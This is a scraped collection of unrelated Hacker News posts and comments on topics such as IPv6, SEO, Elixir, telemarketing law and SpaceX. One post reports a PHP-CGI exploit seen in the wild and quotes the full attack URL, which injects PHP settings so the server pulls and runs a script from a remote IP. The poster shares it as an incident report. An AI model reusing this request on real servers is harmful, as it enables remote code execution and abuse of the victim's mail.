skysight-inc/HackerNews huggingface dataset:
Entrepreneurs could qualify for unemployment while they build a business
The very first of the five major requirements they listed:

"Legible. Application icons should be distinguishable from one another at small icon sizes, on file icons, and in the OS. Icons must be differentiable beyond color and should be legible for color blind persons via shape, letter-forms, tone, or other method."

They sure didn't meet that stated goal. I guess I'll be copying over the icon from Illustrator 10 yet again...
33years of wisdom (Happy birthday StarWars)
How is it different from Ghostery?
A typographer, talking about screen density, and clarity on his blog using a serif font. Oh, the irony.
I think this is a case where the link-bait title lost you viewers. I found the article informative and enjoying, but probably wouldn't have clicked through if I had read the comments first.
I don't think people are suggesting plan9 is a practical alternative. They're just saying it's worth studying and understanding. If people advocate using plan9, it's because understanding comes from experience.
how hard would it be to build their own on top of webkit?
Ask HN: What companies are hiring remote Rails developers?
I'm in the job hunt myself and curious what is out there for someone with a lot of experience with Rails and working remotely.
Radiation Therapy New York
RadioSurgey New York (RSNY) is a premier center for cancer treatment in New York, offering radiation therapy for multiple cancer variants.
See the section titled "On the Glaring Omission."
>> Some people have no grasp whatsoever of the insignificant scale of human activity in the context of planet-sized objects.

Guess you're right. Thanks for the clarification.
I already want this as a captcha solution:

Say 3 with your fingers to prove you are not a robot.
I have a few gut reactions to it all.

There is probably some legitimate concern, but there I feel 80% is probably hype. I say the latter because it has reached the non-Internet street level. I know a forty-year-old mechanic who barely knows what the fuck Facebook is and he is telling me doom and gloom rumors like "They can't find the guy. That Mark guy? All the feds are looking for him and they can't find him!" That's hype when it hits that level.

Also, MySpace is still around. Facebook grew so fast so quickly it could lose half of all of its users and that only sets it back a couple of years. And it seems to be getting more and more in bed with Microsoft—some type of alliance against Google.
The translation is not amazing. The original German reveals responses that are rather dodging the question, but which very flatly state that they are able to 'generally decrypt, at least partially, communications via SSH or PGP'.

It's not clear if they mean 'parts of all communications' or 'a part of all communications', and specific attack vectors are not even touched on.
I am less and less convinced that more information is the solution. If it were, we would already have the most enlightened era of government the world has ever known, since far more information is available now than there ever has been.

What we care about is narratives. And since narratives are fundamentally subjective, it's very hard to create a narrative that legitimately serves "the public good" while simultaneously satisfying the public. I hope there is a solution to this; I just don't think throwing more information at the problem is it.
Google is done playing nice.

For years they have said, "Don't do this. Don't do that" but never enforced those positions with any real backup until the past 18 months.

Don't write crappy content. Bam! Panda update Feb 24th, 2011.

Don't get crappy links. Bam! Penguin update last month.

The stick has come out from Google on cracking down on what they have been telling SEOs and webmasters for years.

SEOs will be fine. They are a very adaptable group. My concern is more for the small business owner who hires someone that doesn't disclose the tactics they are using.

It's a crazy time in SEO-land. But no one can say that there wasn't warning.

With iAcquire I see this as Google's shot across the bow to paid links. They dealt with bad content last year, then bad links/optimization last month, and I think the next enforcement will be around paid links.
Ask HN:Best places for Happy Hour Fridays in SF?
Hey just in SF for work for 3 weeks in the SOMA area. Wondering where all the YC companies, alumn, and other techies go to enjoy a refreshing beverage friday after work? I am moving here in August and don´t know that many ppl (mostly finance guys and friends from berkely) so be nice to mingle.
New Python API for the Z3 theorem prover. Examples: Sudoku, kinematics, etc.
Ask HN: What's a good primer on online advertising?
I've been working for a while now for an online magazine that, not surprisingly, gets most of its revenue from advertising. I'm not primarily responsible for handling ad serving, but I am asked to deal with it occasionally, and I find that advertising has a lot of jargon and repurposed words that, when strung together, don't make a lot of sense to me.

Google seems strangely devoid of useful information. I can look at the documentation for our various ad providers, but I find that they: 1) are generally terrible, 2) have barely functional search and are not indexed by Google, and 3) assume that I already know what all the jargon means. There are "Online Advertising for Dummies" books, but they seem to be from the perspective of advertisers, not publishers, and I doubt they would explain the difference between an impression and a view, for instance.

Can anyone here who has already navigated similar waters point me to any resources that provide a good introduction to video and banner advertising from the publisher's perspective that's aimed at developers?
I would only comment that a LOT has changed since that article you reference was written 10 years ago! In the conclusion to that 2002 article, djb writes:

----
The way to make IPv6 addresses work is to teach every Internet computer how to talk to IPv6 addresses---not just as an option that the sysadmin might configure, but as something that's automatically enabled as part of regular software/hardware upgrades.
----

Today, most all operating system do speak IPv6 - and in many cases it is enabled by default. And there are plenty of IPv6-to-IPv4 gateways and other technologies so that you can, in fact, have an IPv6 network with access to IPv4 resources. We've come a LONG way. We still have a good way to go, but we're in a much better place than we were 10 years ago.
the non s-expr homoiconicity/macro stuff is really cool. http://elixir-lang.org/getting_started/5.html
The API Driven Life of Your Facebook Mobile App
My comparison to Microsoft may be a bad analogy: while they did act anti-competitively, it's different than what Apple is doing now. As bad as Windows lock-in was, they never set themselves up as the only store in town, and they were seldom hostile to developers building a business on their platform (if anything, it was the opposite).

I know Apple doesn't hold even the majority of the market, and they won't be king forever, as the MS story demonstrates. What concerns me is that they're defining the new norm (the Windows 8 store follows heavily in their footsteps). If the next OS vendor to take the crown successfully practices the same "our way or the highway" approach, it will be bad for the marketplace, consumers, and society.

Maybe it's a self-correcting problem. But make no mistake: it is a problem.
Disclaimer: I'm not a programmer

Could this become an open source type project with a core engine exposing an api and additional modules written in commonly available languages to add functionality?

Once the core engine is stable, it should (in theory) fly...
What I love about CoffeeScript
Same experience here, although I'm a newer user who just switched from Gmail a few months ago. Spent a couple of weeks researching alternatives before settling on Fastmail and would not be happy to repeat the process.
McAfee Millionaire on the run
What is the product? Is it the hardware? Or the software? Are you saying they are one product, not two?

Yes I'm saying they are one product not two. They are made as one product, advertised as one product, sold as one thing for one price, supported as one product. Where do you get the idea that they could reasonably be thought of as two products?

We are talking about cheap, programmable consumer electronics. And then we are having an argument over whether the consumer should have the ability to program them. It is absurd.

No we aren't. We are talking about dozens of components, both software and hardware, put together into one product which is not sold as "programmable electronics" anymore than a dishwasher is sold as "reconfigurable matter". It's a nonsense idea that you want to be the case but you haven't justified why it "should" be the case at all.
Checkout: http://news.ycombinator.com/item?id=3913997
Why "Kompu Gacha" Was Banned
Here's the usage numbers by version for the last month on my Planet Minesweeper game:

http://imgur.com/Mu7Tp

It's a universal app, so this covers iPhone and iPad. Over 80% of users are on 5.0 or above.

My take on this is that if there is any iOS 5 feature that would make your life easier and save you time, or make your user's experience better, then go for it and don't worry about backwards compatibility. But if there's nothing specific drawing you to iOS5 go ahead and support old versions, it's not that much extra work to test and support older versions.
Some Cameras disable or alter GPS data in China
There is a clear distinction between active and passive tracking. The law applies to active tracking, whereby something is stored on a user's computer and this something is subsequently retrieved/read. Cookie tracking is a form of active tracking. Passive tracking, whereby nothing is first stored on a user's computer, is not covered by the law. Indeed, it is difficult to see how it could ever be covered.
I just tested the same thing on Fred Wilson's blog. You're right, it doesn't work. Disqus is probably wrong to make that claim. If they had a very simple Wordpress plugin they could serve up cached results to Google in the server-generated HTML (mostly just for Google) and still use Javascript the same way they do now.

That would be as SEO-compatible as possible.
It's weird to me when people call out perl as being un-unix. It's a programming language. Does that make C un-unix? I can also use C to duplicate anything a standard unix command does.

Personally, I find sed so arcane, that if awk or perl weren't available, I'd probably actually use C to do anything more complicated than simple replacement.
http://dealbook.nytimes.com/2011/01/03/facebook-and-the-500-...

The reason lies on the technical shores of the federal securities laws. The
Securities Exchange Act of 1934 sets forth certain requirements for companies to
register their shares with the S.E.C.

Specifically, Section 12(g) requires that a company register its securities with
the S.E.C. if it “has total assets exceeding $1,000,000 and a class of equity
security … held of record by five hundred or more … persons…”

Facebook went public because they were forced to, not because they wanted to.
Future of file storage in cloud– don't cancel your dropbox just yet
I launched my app (Finderous) only on ios 5.x becuase
1. I didn't want to support an OS that is already shrinking in usage.
2. It's just a matter of time people will upgrade to IOS 5.x as it is free.
3. I learnt ios programming only on 5.x
4. I found it time consuming to learn pre 5.x programming once I started with 5.x :)
Reading all these comments made me wonder... If DDG uses the Bing API and is passing the search term to whatever search-related text ads they show, that's a pretty big blind spot for the privacy advocates. Because Bing still gets your search term and so does the ad network. What they don't get is your IP address, but as the AOL search dump proved, sometimes search terms alone are enough to identify someone. It's still a nice feature, but I wouldn't consider it a solved issue.
Someone asking a question is the worst argument you've seen in weeks? Leave the hyperbole at the door, would you?
As an American, I would prefer that the stubbornness continue to be mocked in a hope that someday we might get rid of this silly system.
It's pretty simple. For calling residential numbers for marketing purposes:

1) Subscribe to the federal and state Do-Not-Call lists for each state you're going to call people in. Don't call anyone on those lists unless you have a business relationship with them. It's legal for Comcast to call you to upsell you to a better package if you're a Comcast customer, even if you're on the federal DNC list.

2) Keep a copy of your Do-Not-Call policy on file to provide to callers if they ask for it.

3) If a caller asks to be put on your Do-Not-Call list, do so and don't call them again.

4) Don't spoof your caller ID as anything but your business or the business you're calling on behalf of.

I could've easily missed something, but that's the gist of what I got from reading the federal telemarketing acts. There's also lots of technical details on performance thresholds for predictive dialers and such, so that you don't get too many of those calls where you pick up and nobody is on the other end as the autodialer was too aggressive.
Show HN: PHP CGI hack in the wild
Just a few days after reading about it right here on HN, found this request managing to spew out spam from one of our oldest clients' accounts that was still running cgi without our knowledge...

http://somewebsite.com/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83/%2Fsend.txt

Interestingly, http://81.17.24.83/send.txt is still online, and probably in use. My client's email is now blacklisted, but their IP has a surprisingly decent reputation. The script itself makes for pretty light reading, actually...
Meh, I have more sympathy for the normal user. [EDIT: i.e. the searcher.]
Definitely: »The IDSS docking interface is fully androgynous about one axis, meaning the interface configuration is capable of mating to an identical configuration«
Whoever was the first to use "bitch" as a verb was almost certainly a male asshole who wanted to subordinate the woman he was talking to. By repeating it, that is the sentiment you are reinforcing, because the meaning does not change. You're normalizing female subordination.

Bitch please!
Its odd. Its either an over sight. Takedown lost in bureaucracy.

Or.. perhaps comically. This is a third party issueing takedowns on Microsofts behalf. Isn't submiting to Bing due to lack of market share?
That's called being results orientated. Just because it worked doesn't mean it was a good decision.
Parse Adds Role-based Access Controls
Doesn't that assume that he wanted the relationship in the first place? He tried getting on their do not call list originally. By my count that makes any further relationships null and void as one party was acting in poor faith (IANAL no idea what the legal term might be).

Basically the fact that they called him without reason and avoided providing their actual contact information would seem to make a judge question the relationship they might have.
Envi: web-based keyboard-only distributed editor
"The enthusiasm shown for this accomplishment on Hacker News is borderline ridiculous."

Some thoughts:

1. We all want to live in a world where dreams become reality. I think a lot of us are passionate at this moment in time because we are seeing a dream unfold; not just Elon's, but for everyone that is working to make it a reality.

2. The majority of us are builders, and we are naturally going to be excited about a company that is building, particularly at this level.

3. (Speaking as an American, here)... in the U.S., I think there has been an under-current feeling for the last several years, that could perhaps be paraphrased as, "Where are we heading, as a nation?" I think it is easy for us to lose touch with the pulse of the nation when we are head-down in code at a start-up or elsewhere, but I think this feeling is real. So, this is perhaps at the root of at least some of this passion and excitement. It perhaps affirms, in some way to us, that the collective "We" are still builders.

4. The U.S. does not currently possess the capability of human spaceflight. We are at a point in history that is similar to the human spaceflight gap that existed between the Apollo program and the Space Shuttle program. The success of SpaceX and this mission is another incremental step toward resuming that mission capability.

I think that something that speaks to this is symbolic: an American flag that flew on-board STS-1 was left on the ISS by the crew of STS-135. It is awaiting return to the U.S. by the next American crew that is launched from the U.S.

5. As has been noted already, Elon is one of us. He is a builder. I do not know all of the figures, but I do know that he has put at least $100M dollars of his own money into SpaceX [1]. I think we all understand that these types of efforts are the intense result of many people collaborating together across various organizations, different backgrounds, etc. However, the reality is that these types of efforts require serious vision and investment, and I think, again, to see a builder like Elon achieve this is extremely motivating.

6. Finally, there is something intrinsic inside of all of us that longs to explore; perhaps for many of us, space is the ultimate expression of that longing ("Space, the final frontier."), and we are over-flowing with enthusiasm, wonder and hope at this achievement.

[1] https://www.youtube.com/watch?v=PNwg8FvfuuU#t=248
Interview with Denis Mars – Aussie co-founder of meetings.io
Got a chance to speak to an Aussie founder based out of Palo Alto (Silicon Valley) re-inventing communications for a connected world. Here's what happened.
The Dragon Spacecraft has Berthed with the International Space Station
Three things that should trouble this bloke

1. Using popular language as "Do this, I don't care how" makes you come off as unintelligent. It gives the reader a feeling that you have no idea what is involved and that you just want your one special thing. Everybody who has ever worked with clients of any kind knows what I mean.

2. Itunes is dead? What does that even mean? Are you by any chance a Hipster? That would explain...

3. It's a bad time to make a list-based-blog-post right now http://www.thebestpageintheuniverse.net/c.cgi?u=ranker_sucks
I believe this is one of the objectives of LuaTeX. Lua is a much saner programming language than TeX.
Thanks for the feedback and for following Elixir all this time! I also enjoy Clojure a lot and it really gave me some great ideas that were imported into Elixir. While we have Lisp based implementations on top of the Erlang VM, I don't think clojure-beam can easily see the daylight unless it contains significant departures from Clojure. Unfortunately, extending the Erlang VM is nowhere close to extending the Java VM. :(

The problem with the OO approach is that OO didn't suit well an immutable language. The Erlang VM forces us to keep Erlang's semantics and it has been this way before and after the redesign. There is no way around, believe me, I tried. :)

I agree its current version is a stronger departure from Ruby, but also simpler and more powerful than before (now we have all of Erlang in our hands!). We are exchanging the OO familiarity by a better/tighter integration with Erlang runtime, which will, hopefully, be a good reason for people to try it out. I also believe there are plenty of reasons for Erlang developers to try it out, it is more familiar (which actually helps) and addresses many of Erlang shortcomings (it provides protocols, dynamic records, dynamic function generation via macros, etc). During the next weeks, I will write a document more specific to Erlang developers on how Elixir addresses these shortcomings.

When you give Elixir a try, join us at #elixir-lang, I would love to chat more!
I couldn't have said it better. I believe this business was not trying to follow the law, so I sued them for everything I could. I mentioned in another reply that there was another company who called me illegally, and I found out that they fired the person who set up the calls I got. I didn't sue them.
The normal Google user? or small business who hired an SEO?
I have my business line on GV and it filters out hundreds of spam calls.
As "update addicted" as I am, an "update all right now" would be awesome (or atleast a list, something like what this does: http://code.activestate.com/recipes/577708-check-for-package...)
Besides the fact that that feature is easily disabled (actually if you don't choose Google on first start, it's never enabled).

Chromium is open source, it doesn't include these pieces, yet you still get to benefit from all of WebKit's awesomeness and Google's contributions to it. Like a modern realtime communication platform, new APIs enabling adaptive streaming, WebGL, NaCl and more.

Also, how else would the recommendations work except as described?
Two-factor authentication shouldn't be a replacement for a good password scheme, it should supplement it. Otherwise it's one-and-a-half factor. :)
That's... odd. Can anyone guess why he did this? Maybe tax reasons? He got a million shares for becoming CEO, so it's not like he's just into saving Apple money or anything.
Relive the .com era with AnnoNTK
great interview. cheers.
> Understanding law is an expertise, not a casual hobby.

Wow. This is patently offensive. My responsibility as a citizen is to understand the law and comply with it. In fact, that's the only responsibility I have as a citizen. That's what it means to be civil. To be civilized. To live under a body of laws. If you don't understand them, you can't follow them ... how can you call yourself civilized?

If our laws are so complex that they can't be grasped by any layman, then we have two choices.

1. Eliminate the laws and render the system simple enough to grasp.

2. Create tools that allow us to grasp them.

Now, I prefer #1, but willing to settle for #2. You seem to reject both?

Anyway, this is the beginning of an open-source system that's already available in proprietary form in some fashion. If you think lawyers understand the law, well, you're a bit naive. They just use LexisNexis. Which provides laws, cases, rulings, opinions, etc. etc.

> you won't take into account Supreme Court rulings that will affect the interpretation

Please read some of the other comments. The author gets this. And this is just Version 1.0, right? That's like saying a baby is useless because it can't hold on to a job. Well, yeah. If you kill the baby, it never will.

> You are supposed to try and meet your representative. You are supposed to talk to her, and listen to her, not as a politician, but as a person you are entrusting with an important job.

This is very quaint, and honestly, I'm a big fan of the principles on which this nation was founded ... but this is merely one of those principles.

Why do you think that the founding document of our laws, the Constitution, enshrines the postal service? The postal service was then, what the internet is now. The founding fathers also recognized the power of shedding light on the legislative process.

Tools like this help that.
FWIW, Rackspace has paid email plans. So do some other large web hosts. If push comes to shove, you could always host your own.
Maybe this was the ultimate "rickroll" of rickrollers. AVG might've had it taken down for just that purpose, fully knowing that it'd be back quickly.
Clojure on BEAM will be a go to tool to solve really hard problems. I think Joxa dosn't have a goal to implement Clojure, but a compact modern LISP for BEAM. LFE is just a LISP syntax for core Erlang.
The most painful problem I see is sockaddr_in; a lot of socket code is written to assume that an IP address is a scalar integer.